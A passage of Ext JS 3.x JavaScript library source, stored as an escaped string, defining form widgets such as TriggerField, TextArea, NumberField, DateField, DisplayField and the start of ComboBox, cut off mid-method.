this.trigger.getWidth())\n}, updateEditState:function () {\n    if (this.rendered) {\n        if (this.readOnly) {\n            this.el.dom.readOnly = true;\n            this.el.addClass(\"x-trigger-noedit\");\n            this.mun(this.el, \"click\", this.onTriggerClick, this);\n            this.trigger.setDisplayed(false)\n        } else {\n            if (!this.editable) {\n                this.el.dom.readOnly = true;\n                this.el.addClass(\"x-trigger-noedit\");\n                this.mon(this.el, \"click\", this.onTriggerClick, this)\n            } else {\n                this.el.dom.readOnly = false;\n                this.el.removeClass(\"x-trigger-noedit\");\n                this.mun(this.el, \"click\", this.onTriggerClick, this)\n            }\n            this.trigger.setDisplayed(!this.hideTrigger)\n        }\n        this.onResize(this.width || this.wrap.getWidth())\n    }\n}, setHideTrigger:function (a) {\n    if (a != this.hideTrigger) {\n        this.hideTrigger = a;\n        this.updateEditState()\n    }\n}, setEditable:function (a) {\n    if (a != this.editable) {\n        this.editable = a;\n        this.updateEditState()\n    }\n}, setReadOnly:function (a) {\n    if (a != this.readOnly) {\n        this.readOnly = a;\n        this.updateEditState()\n    }\n}, afterRender:function () {\n    Ext.form.TriggerField.superclass.afterRender.call(this);\n    this.updateEditState()\n}, initTrigger:function () {\n    this.mon(this.trigger, \"click\", this.onTriggerClick, this, {preventDefault:true});\n    this.trigger.addClassOnOver(\"x-form-trigger-over\");\n    this.trigger.addClassOnClick(\"x-form-trigger-click\")\n}, onDestroy:function () {\n    Ext.destroy(this.trigger, this.wrap);\n    if (this.mimicing) {\n        this.doc.un(\"mousedown\", this.mimicBlur, this)\n    }\n    delete this.doc;\n    Ext.form.TriggerField.superclass.onDestroy.call(this)\n}, onFocus:function () {\n    Ext.form.TriggerField.superclass.onFocus.call(this);\n    if (!this.mimicing) {\n        this.wrap.addClass(this.wrapFocusClass);\n        this.mimicing = true;\n        this.doc.on(\"mousedown\", this.mimicBlur, this, {delay:10});\n        if (this.monitorTab) {\n            this.on(\"specialkey\", this.checkTab, this)\n        }\n    }\n}, checkTab:function (a, b) {\n    if (b.getKey() == b.TAB) {\n        this.triggerBlur()\n    }\n}, onBlur:Ext.emptyFn, mimicBlur:function (a) {\n    if (!this.isDestroyed && !this.wrap.contains(a.target) && this.validateBlur(a)) {\n        this.triggerBlur()\n    }\n}, triggerBlur:function () {\n    this.mimicing = false;\n    this.doc.un(\"mousedown\", this.mimicBlur, this);\n    if (this.monitorTab && this.el) {\n        this.un(\"specialkey\", this.checkTab, this)\n    }\n    Ext.form.TriggerField.superclass.onBlur.call(this);\n    if (this.wrap) {\n        this.wrap.removeClass(this.wrapFocusClass)\n    }\n}, beforeBlur:Ext.emptyFn, validateBlur:function (a) {\n    return true\n}, onTriggerClick:Ext.emptyFn});\nExt.form.TwinTriggerField = Ext.extend(Ext.form.TriggerField, {initComponent:function () {\n    Ext.form.TwinTriggerField.superclass.initComponent.call(this);\n    this.triggerConfig = {tag:\"span\", cls:\"x-form-twin-triggers\", cn:[\n        {tag:\"img\", src:Ext.BLANK_IMAGE_URL, alt:\"\", cls:\"x-form-trigger \" + this.trigger1Class},\n        {tag:\"img\", src:Ext.BLANK_IMAGE_URL, alt:\"\", cls:\"x-form-trigger \" + this.trigger2Class}\n    ]}\n}, getTrigger:function (a) {\n    return this.triggers[a]\n}, afterRender:function () {\n    Ext.form.TwinTriggerField.superclass.afterRender.call(this);\n    var c = this.triggers, b = 0, a = c.length;\n    for (; b < a; ++b) {\n        if (this[\"hideTrigger\" + (b + 1)]) {\n            c[b].hide()\n        }\n    }\n}, initTrigger:function () {\n    var a = this.trigger.select(\".x-form-trigger\", true), b = this;\n    a.each(function (d, g, c) {\n        var e = \"Trigger\" + (c + 1);\n        d.hide = function () {\n            var h = b.wrap.getWidth();\n            this.dom.style.display = \"none\";\n            b.el.setWidth(h - b.trigger.getWidth());\n            b[\"hidden\" + e] = true\n        };\n        d.show = function () {\n            var h = b.wrap.getWidth();\n            this.dom.style.display = \"\";\n            b.el.setWidth(h - b.trigger.getWidth());\n            b[\"hidden\" + e] = false\n        };\n        this.mon(d, \"click\", this[\"on\" + e + \"Click\"], this, {preventDefault:true});\n        d.addClassOnOver(\"x-form-trigger-over\");\n        d.addClassOnClick(\"x-form-trigger-click\")\n    }, this);\n    this.triggers = a.elements\n}, getTriggerWidth:function () {\n    var a = 0;\n    Ext.each(this.triggers, function (d, c) {\n        var e = \"Trigger\" + (c + 1), b = d.getWidth();\n        if (b === 0 && !this[\"hidden\" + e]) {\n            a += this.defaultTriggerWidth\n        } else {\n            a += b\n        }\n    }, this);\n    return a\n}, onDestroy:function () {\n    Ext.destroy(this.triggers);\n    Ext.form.TwinTriggerField.superclass.onDestroy.call(this)\n}, onTrigger1Click:Ext.emptyFn, onTrigger2Click:Ext.emptyFn});\nExt.reg(\"trigger\", Ext.form.TriggerField);\nExt.form.TextArea = Ext.extend(Ext.form.TextField, {growMin:60, growMax:1000, growAppend:\"&#160;\\n&#160;\", enterIsSpecial:false, preventScrollbars:false, onRender:function (b, a) {\n    if (!this.el) {\n        this.defaultAutoCreate = {tag:\"textarea\", style:\"width:100px;height:60px;\", autocomplete:\"off\"}\n    }\n    Ext.form.TextArea.superclass.onRender.call(this, b, a);\n    if (this.grow) {\n        this.textSizeEl = Ext.DomHelper.append(document.body, {tag:\"pre\", cls:\"x-form-grow-sizer\"});\n        if (this.preventScrollbars) {\n            this.el.setStyle(\"overflow\", \"hidden\")\n        }\n        this.el.setHeight(this.growMin)\n    }\n}, onDestroy:function () {\n    Ext.removeNode(this.textSizeEl);\n    Ext.form.TextArea.superclass.onDestroy.call(this)\n}, fireKey:function (a) {\n    if (a.isSpecialKey() && (this.enterIsSpecial || (a.getKey() != a.ENTER || a.hasModifier()))) {\n        this.fireEvent(\"specialkey\", this, a)\n    }\n}, doAutoSize:function (a) {\n    return !a.isNavKeyPress() || a.getKey() == a.ENTER\n}, filterValidation:function (a) {\n    if (!a.isNavKeyPress() || (!this.enterIsSpecial && a.keyCode == a.ENTER)) {\n        this.validationTask.delay(this.validationDelay)\n    }\n}, autoSize:function () {\n    if (!this.grow || !this.textSizeEl) {\n        return\n    }\n    var c = this.el, a = Ext.util.Format.htmlEncode(c.dom.value), d = this.textSizeEl, b;\n    Ext.fly(d).setWidth(this.el.getWidth());\n    if (a.length < 1) {\n        a = \"&#160;&#160;\"\n    } else {\n        a += this.growAppend;\n        if (Ext.isIE) {\n            a = a.replace(/\\n/g, \"&#160;<br />\")\n        }\n    }\n    d.innerHTML = a;\n    b = Math.min(this.growMax, Math.max(d.offsetHeight, this.growMin));\n    if (b != this.lastHeight) {\n        this.lastHeight = b;\n        this.el.setHeight(b);\n        this.fireEvent(\"autosize\", this, b)\n    }\n}});\nExt.reg(\"textarea\", Ext.form.TextArea);\nExt.form.NumberField = Ext.extend(Ext.form.TextField, {fieldClass:\"x-form-field x-form-num-field\", allowDecimals:true, decimalSeparator:\".\", decimalPrecision:2, allowNegative:true, minValue:Number.NEGATIVE_INFINITY, maxValue:Number.MAX_VALUE, minText:\"The minimum value for this field is {0}\", maxText:\"The maximum value for this field is {0}\", nanText:\"{0} is not a valid number\", baseChars:\"0123456789\", autoStripChars:false, initEvents:function () {\n    var a = this.baseChars + \"\";\n    if (this.allowDecimals) {\n        a += this.decimalSeparator\n    }\n    if (this.allowNegative) {\n        a += \"-\"\n    }\n    a = Ext.escapeRe(a);\n    this.maskRe = new RegExp(\"[\" + a + \"]\");\n    if (this.autoStripChars) {\n        this.stripCharsRe = new RegExp(\"[^\" + a + \"]\", \"gi\")\n    }\n    Ext.form.NumberField.superclass.initEvents.call(this)\n}, getErrors:function (b) {\n    var c = Ext.form.NumberField.superclass.getErrors.apply(this, arguments);\n    b = Ext.isDefined(b) ? b : this.processValue(this.getRawValue());\n    if (b.length < 1) {\n        return c\n    }\n    b = String(b).replace(this.decimalSeparator, \".\");\n    if (isNaN(b)) {\n        c.push(String.format(this.nanText, b))\n    }\n    var a = this.parseValue(b);\n    if (a < this.minValue) {\n        c.push(String.format(this.minText, this.minValue))\n    }\n    if (a > this.maxValue) {\n        c.push(String.format(this.maxText, this.maxValue))\n    }\n    return c\n}, getValue:function () {\n    return this.fixPrecision(this.parseValue(Ext.form.NumberField.superclass.getValue.call(this)))\n}, setValue:function (a) {\n    a = Ext.isNumber(a) ? a : parseFloat(String(a).replace(this.decimalSeparator, \".\"));\n    a = this.fixPrecision(a);\n    a = isNaN(a) ? \"\" : String(a).replace(\".\", this.decimalSeparator);\n    return Ext.form.NumberField.superclass.setValue.call(this, a)\n}, setMinValue:function (a) {\n    this.minValue = Ext.num(a, Number.NEGATIVE_INFINITY)\n}, setMaxValue:function (a) {\n    this.maxValue = Ext.num(a, Number.MAX_VALUE)\n}, parseValue:function (a) {\n    a = parseFloat(String(a).replace(this.decimalSeparator, \".\"));\n    return isNaN(a) ? \"\" : a\n}, fixPrecision:function (b) {\n    var a = isNaN(b);\n    if (!this.allowDecimals || this.decimalPrecision == -1 || a || !b) {\n        return a ? \"\" : b\n    }\n    return parseFloat(parseFloat(b).toFixed(this.decimalPrecision))\n}, beforeBlur:function () {\n    var a = this.parseValue(this.getRawValue());\n    if (!Ext.isEmpty(a)) {\n        this.setValue(a)\n    }\n}});\nExt.reg(\"numberfield\", Ext.form.NumberField);\nExt.form.DateField = Ext.extend(Ext.form.TriggerField, {format:\"m/d/Y\", altFormats:\"m/d/Y|n/j/Y|n/j/y|m/j/y|n/d/y|m/j/Y|n/d/Y|m-d-y|m-d-Y|m/d|m-d|md|mdy|mdY|d|Y-m-d|n-j|n/j\", disabledDaysText:\"Disabled\", disabledDatesText:\"Disabled\", minText:\"The date in this field must be equal to or after {0}\", maxText:\"The date in this field must be equal to or before {0}\", invalidText:\"{0} is not a valid date - it must be in the format {1}\", triggerClass:\"x-form-date-trigger\", showToday:true, startDay:0, defaultAutoCreate:{tag:\"input\", type:\"text\", size:\"10\", autocomplete:\"off\"}, initTime:\"12\", initTimeFormat:\"H\", safeParse:function (b, c) {\n    if (Date.formatContainsHourInfo(c)) {\n        return Date.parseDate(b, c)\n    } else {\n        var a = Date.parseDate(b + \" \" + this.initTime, c + \" \" + this.initTimeFormat);\n        if (a) {\n            return a.clearTime()\n        }\n    }\n}, initComponent:function () {\n    Ext.form.DateField.superclass.initComponent.call(this);\n    this.addEvents(\"select\");\n    if (Ext.isString(this.minValue)) {\n        this.minValue = this.parseDate(this.minValue)\n    }\n    if (Ext.isString(this.maxValue)) {\n        this.maxValue = this.parseDate(this.maxValue)\n    }\n    this.disabledDatesRE = null;\n    this.initDisabledDays()\n}, initEvents:function () {\n    Ext.form.DateField.superclass.initEvents.call(this);\n    this.keyNav = new Ext.KeyNav(this.el, {down:function (a) {\n        this.onTriggerClick()\n    }, scope:this, forceKeyDown:true})\n}, initDisabledDays:function () {\n    if (this.disabledDates) {\n        var b = this.disabledDates, a = b.length - 1, c = \"(?:\";\n        Ext.each(b, function (g, e) {\n            c += Ext.isDate(g) ? \"^\" + Ext.escapeRe(g.dateFormat(this.format)) + \"$\" : b[e];\n            if (e != a) {\n                c += \"|\"\n            }\n        }, this);\n        this.disabledDatesRE = new RegExp(c + \")\")\n    }\n}, setDisabledDates:function (a) {\n    this.disabledDates = a;\n    this.initDisabledDays();\n    if (this.menu) {\n        this.menu.picker.setDisabledDates(this.disabledDatesRE)\n    }\n}, setDisabledDays:function (a) {\n    this.disabledDays = a;\n    if (this.menu) {\n        this.menu.picker.setDisabledDays(a)\n    }\n}, setMinValue:function (a) {\n    this.minValue = (Ext.isString(a) ? this.parseDate(a) : a);\n    if (this.menu) {\n        this.menu.picker.setMinDate(this.minValue)\n    }\n}, setMaxValue:function (a) {\n    this.maxValue = (Ext.isString(a) ? this.parseDate(a) : a);\n    if (this.menu) {\n        this.menu.picker.setMaxDate(this.maxValue)\n    }\n}, getErrors:function (e) {\n    var h = Ext.form.DateField.superclass.getErrors.apply(this, arguments);\n    e = this.formatDate(e || this.processValue(this.getRawValue()));\n    if (e.length < 1) {\n        return h\n    }\n    var c = e;\n    e = this.parseDate(e);\n    if (!e) {\n        h.push(String.format(this.invalidText, c, this.format));\n        return h\n    }\n    var g = e.getTime();\n    if (this.minValue && g < this.minValue.clearTime().getTime()) {\n        h.push(String.format(this.minText, this.formatDate(this.minValue)))\n    }\n    if (this.maxValue && g > this.maxValue.clearTime().getTime()) {\n        h.push(String.format(this.maxText, this.formatDate(this.maxValue)))\n    }\n    if (this.disabledDays) {\n        var a = e.getDay();\n        for (var b = 0; b < this.disabledDays.length; b++) {\n            if (a === this.disabledDays[b]) {\n                h.push(this.disabledDaysText);\n                break\n            }\n        }\n    }\n    var d = this.formatDate(e);\n    if (this.disabledDatesRE && this.disabledDatesRE.test(d)) {\n        h.push(String.format(this.disabledDatesText, d))\n    }\n    return h\n}, validateBlur:function () {\n    return !this.menu || !this.menu.isVisible()\n}, getValue:function () {\n    return this.parseDate(Ext.form.DateField.superclass.getValue.call(this)) || \"\"\n}, setValue:function (a) {\n    return Ext.form.DateField.superclass.setValue.call(this, this.formatDate(this.parseDate(a)))\n}, parseDate:function (g) {\n    if (!g || Ext.isDate(g)) {\n        return g\n    }\n    var b = this.safeParse(g, this.format), c = this.altFormats, e = this.altFormatsArray;\n    if (!b && c) {\n        e = e || c.split(\"|\");\n        for (var d = 0, a = e.length; d < a && !b; d++) {\n            b = this.safeParse(g, e[d])\n        }\n    }\n    return b\n}, onDestroy:function () {\n    Ext.destroy(this.menu, this.keyNav);\n    Ext.form.DateField.superclass.onDestroy.call(this)\n}, formatDate:function (a) {\n    return Ext.isDate(a) ? a.dateFormat(this.format) : a\n}, onTriggerClick:function () {\n    if (this.disabled) {\n        return\n    }\n    if (this.menu == null) {\n        this.menu = new Ext.menu.DateMenu({hideOnClick:false, focusOnSelect:false})\n    }\n    this.onFocus();\n    Ext.apply(this.menu.picker, {minDate:this.minValue, maxDate:this.maxValue, disabledDatesRE:this.disabledDatesRE, disabledDatesText:this.disabledDatesText, disabledDays:this.disabledDays, disabledDaysText:this.disabledDaysText, format:this.format, showToday:this.showToday, startDay:this.startDay, minText:String.format(this.minText, this.formatDate(this.minValue)), maxText:String.format(this.maxText, this.formatDate(this.maxValue))});\n    this.menu.picker.setValue(this.getValue() || new Date());\n    this.menu.show(this.el, \"tl-bl?\");\n    this.menuEvents(\"on\")\n}, menuEvents:function (a) {\n    this.menu[a](\"select\", this.onSelect, this);\n    this.menu[a](\"hide\", this.onMenuHide, this);\n    this.menu[a](\"show\", this.onFocus, this)\n}, onSelect:function (a, b) {\n    this.setValue(b);\n    this.fireEvent(\"select\", this, b);\n    this.menu.hide()\n}, onMenuHide:function () {\n    this.focus(false, 60);\n    this.menuEvents(\"un\")\n}, beforeBlur:function () {\n    var a = this.parseDate(this.getRawValue());\n    if (a) {\n        this.setValue(a)\n    }\n}});\nExt.reg(\"datefield\", Ext.form.DateField);\nExt.form.DisplayField = Ext.extend(Ext.form.Field, {validationEvent:false, validateOnBlur:false, defaultAutoCreate:{tag:\"div\"}, fieldClass:\"x-form-display-field\", htmlEncode:false, initEvents:Ext.emptyFn, isValid:function () {\n    return true\n}, validate:function () {\n    return true\n}, getRawValue:function () {\n    var a = this.rendered ? this.el.dom.innerHTML : Ext.value(this.value, \"\");\n    if (a === this.emptyText) {\n        a = \"\"\n    }\n    if (this.htmlEncode) {\n        a = Ext.util.Format.htmlDecode(a)\n    }\n    return a\n}, getValue:function () {\n    return this.getRawValue()\n}, getName:function () {\n    return this.name\n}, setRawValue:function (a) {\n    if (this.htmlEncode) {\n        a = Ext.util.Format.htmlEncode(a)\n    }\n    return this.rendered ? (this.el.dom.innerHTML = (Ext.isEmpty(a) ? \"\" : a)) : (this.value = a)\n}, setValue:function (a) {\n    this.setRawValue(a);\n    return this\n}});\nExt.reg(\"displayfield\", Ext.form.DisplayField);\nExt.form.ComboBox = Ext.extend(Ext.form.TriggerField, {defaultAutoCreate:{tag:\"input\", type:\"text\", size:\"24\", autocomplete:\"off\"}, listClass:\"\", selectedClass:\"x-combo-selected\", listEmptyText:\"\", triggerClass:\"x-form-arrow-trigger\", shadow:\"sides\", listAlign:\"tl-bl?\", maxHeight:300, minHeight:90, triggerAction:\"query\", minChars:4, autoSelect:true, typeAhead:false, queryDelay:500, pageSize:0, selectOnFocus:false, queryParam:\"query\", loadingText:\"Loading...\", resizable:false, handleHeight:8, allQuery:\"\", mode:\"remote\", minListWidth:70, forceSelection:false, typeAheadDelay:250, lazyInit:true, clearFilterOnReset:true, submitValue:undefined, initComponent:function () {\n    Ext.form.ComboBox.superclass.initComponent.call(this);\n    this.addEvents(\"expand\", \"collapse\", \"beforeselect\", \"select\", \"beforequery\");\n    if (this.transform) {\n        var c = Ext.getDom(this.transform);\n        if (!this.hiddenName) {\n            this.hiddenName = c.name\n        }\n        if (!this.store) {\n            this.mode = \"local\";\n            var j = [], e = c.options;\n            for (var b = 0, a = e.length; b < a; b++) {\n                var h = e[b], g = (h.hasAttribute ? h.hasAttribute(\"value\") : h.getAttributeNode(\"value\").specified) ? h.value : h.text;\n                if (h.selected && Ext.isEmpty(this.value, true)) {\n                    this.value = g\n                }\n                j.push([g, h.text])\n            }\n            this.store = new Ext.data.ArrayStore({idIndex:0, fields:[\"value\", \"text\"], data:j, autoDestroy:true});\n            this.valueField = \"value\";\n            this.displayField = \"text\"\n        }\n        c.name = Ext.id();\n        if (!this.lazyRender) {\n            this.target = true;\n            this.el = Ext.DomHelper.insertBefore(c, this.autoCreate || this.defaultAutoCreate);\n            this.render(this.el.parentNode, c)\n        }\n        Ext.removeNode(c)\n    } else {\n        if (this.store) {\n            this.store = Ext.StoreMgr.lookup(this.store);\n            if (this.store.autoCreated) {\n                this.displayField = this.valueField = \"field1\";\n                if (!this.store.expandData) {\n                    this.displayField = \"field2\"\n                }\n                this.mode = \"local\"\n            }\n        }\n    }\n    this.selectedIndex = -1;\n    if (this.mode == \"local\") {\n        if (!Ext.isDefined(this.initialConfig.queryDelay)) {\n            this.queryDelay = 10\n        }\n        if (!Ext.isDefined(this.initialConfig.minChars)) {\n            this.minChars = 0\n        }\n    }\n}, onRender:function (b, a) {\n    if (this.hiddenName && !Ext.isDefined(this.submitValue)) {\n        this.submitValue = false\n    }\n    Ext.form.ComboBox.superclass.onRender.call(this, b, a);\n    if (this.hiddenName) {\n        this.hiddenField = this.el.insertSibling({tag:\"input\", type:\"hidden\", name:this.hiddenName, id:(this.hiddenId || Ext.id())}, \"before\", true)\n    }\n    if (Ext.isGecko) {\n        this.el.dom.setAttribute(\"autocomplete\", \"off\")\n    }\n    if (!this.lazyInit) {\n        this.initList()\n    } else {\n        this.on(\"focus\", this.initList, this, {single:true})\n    }\n}, initValue:function () {\n    Ext.form.ComboBox.superclass.initValue.call(this);\n    if (this.hiddenField) {\n        this.hiddenField.value = Ext.value(Ext.isDefined(this.hiddenValue) ? this.hiddenValue : this.value, \"\")\n    }\n}, getParentZIndex:function () {\n    var a;\n    if (this.ownerCt) {\n        this.findParentBy(function (b) {\n            a = parseInt(b.getPositionEl().getStyle(\"z-index\"), 10);\n            return !!a\n        })\n    }\n    return a\n}, getZIndex:function (b) {\n    b = b || Ext.getDom(this.getListParent() || Ext.getBody());\n    var a = parseInt(Ext.fly(b).getStyle(\"z-index\"), 10);\n    if (!a) {\n        a = this.getParentZIndex()\n    }\n    return(a || 12000) + 5\n}, initList:function () {\n    if (!this.list) {\n        var a = \"x-combo-list\", c = Ext.getDom(this.getListParent() || Ext.getBody());\n        this.list = new Ext.Layer({parentEl:c, shadow:this.shadow, cls:[a, this.listClass].join(\" \"), constrain:false, zindex:this.getZIndex(c)});\n        var b = this.listWidth || Math.max(this.wrap.getWidth(), this.minListWidth);\n        this.list.setSize(b, 0);\n        this.list.swallowEvent(\"mousewheel\");\n        this.assetHeight = 0;\n        if (this.syncFont !== false) {\n            this.list.setStyle(\"font-size\", this.el.getStyle(\"font-size\"))\n        }\n        if (this.title) {\n            this.header = this.list.createChild({cls:a + \"-hd\", html:this.title});\n            this.assetHeight += this.header.getHeight()\n        }\n        this.innerList = this.list.createChild({cls:a + \"-inner\"});\n        this.mon(this.innerList, \"mouseover\", this.onViewOver, this);\n        this.mon(this.innerList, \"mousemove\", this.onViewMove, this);\n        this.innerList.setWidth(b - this.list.getFrameWidth(\"lr\"));\n        if (this.pageSize) {\n            this.footer = this.list.createChild({cls:a + \"-ft\"});\n            this.pageTb = new Ext.PagingToolbar({store:this.store, pageSize:this.pageSize, renderTo:this.footer});\n            this.assetHeight += this.footer.getHeight()\n        }\n        if (!this.tpl) {\n            this.tpl = '<tpl for=\".\"><div class=\"' + a + '-item\">{' + this.displayField + \"}</div></tpl>\"\n        }\n        this.view = new Ext.DataView({applyTo:this.innerList, tpl:this.tpl, singleSelect:true, selectedClass:this.selectedClass, itemSelector:this.itemSelector || \".\" + a + \"-item\", emptyText:this.listEmptyText, deferEmptyText:false});\n        this.mon(this.view, {containerclick:this.onViewClick, click:this.onViewClick, scope:this});\n        this.bindStore(this.store, true);\n        if (this.resizable) {\n            this.resizer = new Ext.Resizable(this.list, {pinned:true, handles:\"se\"});\n            this.mon(this.resizer, \"resize\", function (g, d, e) {\n                this.maxHeight = e - this.handleHeight - this.list.getFrameWidth(\"tb\") - this.assetHeight;\n                this.listWidth = d;\n                this.innerList.setWidth(d - this.list.getFrameWidth(\"lr\"));\n                this.restrictHeight()\n            }, this);\n            this[this.pageSize ? \"footer\" : \"innerList\"].setStyle(\"margin-bottom\", this.handleHeight + \"px\")\n        }\n    }\n}, getListParent:function () {\n    return document.body\n}, getStore:function () {\n    return this.store\n}, bindStore:function (a, b) {\n    if (this.store && !b) {\n        if (this.store !== a && this.store.autoDestroy) {\n            this.store.destroy()\n        } else {\n            this.store.un(\"beforeload\", this.onBeforeLoad, this);\n            this.store.un(\"load\", this.onLoad, this);\n            this.store.un(\"exception\", this.collapse, this)\n        }\n        if (!a) {\n            this.store = null;\n            if (this.view) {\n                this.view.bindStore(null)\n            }\n            if (this.pageTb) {\n                this.pageTb.bindStore(null)\n            }\n        }\n    }\n    if (a) {\n        if (!b) {\n            this.lastQuery = null;\n            if (this.pageTb) {\n                this.pageTb.bindStore(a)\n            }\n        }\n        this.store = Ext.StoreMgr.lookup(a);\n        this.store.on({scope:this, beforeload:this.onBeforeLoad, load:this.onLoad, exception:this.collapse});\n        if (this.view) {\n            this.view.bindStore(a)\n        }\n    }\n}, reset:function () {\n    if (this.clearFilterOnReset && this.mode == \"local\") {\n        this.store.clearFilter()\n    }\n    Ext.form.ComboBox.superclass.reset.call(this)\n}, initEvents:function () {\n    Ext.form.ComboBox.superclass.initEvents.call(this);\n    this.keyNav = new Ext.KeyNav(this.el, {up:function (a) {\n        this.inKeyMode = true;\n        this.selectPrev()\n    }, down:function (a) {\n        if (!this.isExpanded()) {\n            this.onTriggerClick()\n        } else {\n            this.inKeyMode = true;\n            this.selectNext()\n        }\n    }, enter:function (a) {\n        this.onViewClick()\n    }, esc:function (a) {\n        this.collapse()\n    }, tab:function (a) {\n        if (this.forceSelection === true) {\n            this.collapse()\n        } else {\n            this.onViewClick(false)\n        }\n        return true\n    }, scope:this, doRelay:function (c, b, a) {\n        if (a == \"down\" || this.scope.isExpanded()) {\n            var d = Ext.KeyNav.prototype.doRelay.apply(this, arguments);\n            if (!Ext.isIE && Ext.EventManager.useKeydown) {\n                this.scope.fireKey(c)\n            }\n            return d\n        }\n        return true\n    }, forceKeyDown:true, defaultEventAction:\"stopEvent\"});\n    this.queryDelay = Math.max(this.queryDelay || 10, this.mode == \"local\" ? 10 : 250);\n    this.dqTask = new Ext.util.DelayedTask(this.initQuery, this);\n    if (this.typeAhead) {\n        this.taTask = new Ext.util.DelayedTask(this.onTypeAhead, this)\n    }\n    if (!this.enableKeyEvents) {\n        this.mon(this.el, \"keyup\", this.onKeyUp, this)\n    }\n}, onDestroy:function () {\n    if (this.dqTask) {\n        this.dqTask.cancel();\n        this.dqTask = null\n    }\n    this.bindStore(null);\n    Ext.destroy(this.resizer, this.view, this.pageTb, this.list);\n    Ext.destroyMembers(this, \"hiddenField\");\n    Ext.form.ComboBox.superclass.onDestroy.call(this)\n}, fireKey:function (a) {\n    if (!this.isExpanded()) {\n        Ext.form.ComboBox.superclass.fireKey.call(this, a)\n    }\n}, onResize:function (a, b) {\n    Ext.form.ComboBox.superclass.onResize.apply(this, arguments);\n    if (!isNaN(a) && this.isVisible() && this.list) {\n        this.doResize(a)\n    } else {\n        this.bufferSize = a\n    }\n}, doResize:function (a) {\n    if (!Ext.isDefined(this.listWidth)) {\n        var b = Math.max(a, this.minListWidth);\n        this.list.setWidth(b);\n        this.innerList.setWidth(b - this.list.getFrameWidth(\"lr\"))\n    }\n}, onEnable:function () {\n    Ext.form.ComboBox.superclass.onEnable.apply(this, arguments);\n    if (this.hiddenField) {\n        this.hiddenField.disabled = false\n    }\n}, onDisable:function () {\n    Ext.form.ComboBox.superclass.onDisable.apply(this, arguments);\n    if (this.hiddenField) {\n        this.hiddenField.disabled = true\n    }\n}, onBeforeLoad:function () {\n    if (!this.hasFocus) {\n        return\n    }\n    this.innerList.update(this.loadingText ? '<div class=\"loading-indicator\">' + this.loadingText + \"</div>\" : \"\");\n    this.restrictHeight();\n    this.selectedIndex = -1\n}, onLoad:function () {\n    if (!this.hasFocus) {\n        return\n    }\n    if (this.store.getCount() > 0 || this.listEmptyText) {\n        this.expand();\n        this.restrictHeight();\n        if (this.lastQuery == this.allQuery) {\n            if (this.editable) {\n                this.el.dom.select()\n            }\n            if (this.autoSelect !== false && !this.selectByValue(this.value, true)) {\n                this.select(0, true)\n            }\n        } else {\n            if (this.autoSelect !== false) {\n                this.selectNext()\n            }\n            if (this.typeAhead && this.lastKey != Ext.EventObject.BACKSPACE && this.lastKey != Ext.EventObject.DELETE) {\n                this.taTask.delay(this.typeAheadDelay)\n            }\n        }\n    } else {\n        this.collapse()\n    }\n}, onTypeAhead:function () {\n    if (this.store.getCount() > 0) {\n        var b = this.store.getAt(0);\n        var c = b.data[this.displayField];\n        var a = c.length;\n        var d = this.getRawValue().length;\n        if (d != a) {\n            this.setRawValue(c);\n            this.selectText(d, c.length)\n        }\n    }\n}, assertValue:function () {\n    var b = this.getRawValue(), a;\n    if (this.valueField && Ext.isDefined(this.value)) {\n        a = this.findRecord(this.valueField, this.value)\n    }\n    if (!a || a.get(this.displayField) != b) {\n        a = this.findRecord(this.displayField, b)\n    }\n    if (!a && this.forceSelection) {\n        if (b.length > 0 && b != this.emptyText) {\n            this.el.dom.value = Ext.value(this.lastSelectionText, \"\");\n            this.applyEmptyText()\n        } else {\n            this.clearValue()\n        }\n    } else {\n        if (a && this.valueField) {\n            if (this.value == b) {\n                return\n            }\n            b = a.get(this.valueField || this.displayField)\n        }\n        this.setValue(b)\n    }\n}, onSelect:function (a, b) {\n    if (this.fireEvent(\"beforeselect\", this, a, b) !== false) {\n        this.setValue(a.data[this.valueField || this.displayField]);\n        this.collapse();\n        this.fireEvent(\"select\", this, a, b)\n    }\n}, getName:function () {\n    var a = this.hiddenField;\n    return a && a.name ? a.name : this.hiddenName || Ext.form.ComboBox.superclass.getName.call(this)\n}, getValue:function () {\n    if (this.valueField) {\n        return Ext.isDefined(this.value) ? this.value : \"\"\n    } else {\n        return Ext.form.ComboBox.superclass.getValue.call(this)\n    }\n}, clearValue:function () {\n    if (this.hiddenField) {\n        this.hiddenField.value = \"\"\n    }\n    this.setRawValue(\"\");\n    this.lastSelectionText = \"\";\n    this.applyEmptyText();\n    this.value = \"\"\n}, setValue:function (a) {\n    var c = a;\n    if (this.valueField) {\n        var b = this.findRecord(this.valueField, a);\n        if (b) {\n            c = b.data[this.displayField]\n        } else {\n            if (Ext.isDefined(this.valueNotFoundText)) {\n                c = this.valueNotFoundText\n            }\n        }\n    }\n    this.lastSelectionText = c;\n    if (this.hiddenField) {\n        this.hiddenField.value = Ext.value(a, \"\")\n    }\n    Ext.form.ComboBox.superclass.setValue.call(this, c);\n    this.value = a;\n    return this\n}, findRecord:function (c, b) {\n    var a;\n    if (this.store.getCount() > 0) {\n        this.store.each(function (d) {\n            if (d.data[c] == b) {\n                a = d;\n                return false\n            }\n        })\n    }\n    return a\n}, onViewMove:function (b, a) {\n    this.inKeyMode = false\n}, onViewOver:function (d, b) {\n    if (this.inKeyMode) {\n        return\n    }\n    var c = this.view.findItemFromChild(b);\n    if (c) {\n        var a = this.view.indexOf(c);\n        this.select(a, false)\n    }\n}, onViewClick:function (b) {\n    var a = this.view.getSelectedIndexes()[0], c = this.store, d = c.getAt(a);\n    if (d) {\n        this.onSelect(d, a)\n    } else {\n        this.collapse()\n    }\n    if (b !== false) {\n        this.el.focus()\n    }\n}, restrictHeight:function () {\n    this.innerList.dom.style.height = \"\";\n    var b = this.innerList.dom, e = this.list.getFrameWidth(\"tb\") + (this.resizable ? this.handleHeight : 0) + this.assetHeight, c = Math.max(b.clientHeight, b.offsetHeight, b.scrollHeight), a = this.getPosition()[1] - Ext.getBody().getScroll().top, g = Ext.lib.Dom.getViewHeight() - a - this.getSize().height, d = Math.max(a, g, this.minHeight || 0) - this.list.shadowOffset - e - 5;\n    c = Math.min(c, d, this.maxHeight);\n    this.innerList.setHeight(c);\n    this.list.beginUpdate();\n    this.list.setHeight(c + e);\n    this.list.alignTo.apply(this.list, [this.el].concat(this.listAlign));\n    this.list.endUpdate()\n}, isExpanded:function () {\n    return this.list && this.list.isVisible()\n}, selectByValue:function (a, c) {\n    if (!Ext.isEmpty(a, true)) {\n        var b = this.findRecord(this.valueField || this.displayField, a);\n        if (b) {\n            this.select(this.store.indexOf(b), c);\n            return true\n        }\n    }\n    return false\n}, select:function (a, c) {\n    this.selectedIndex = a;\n    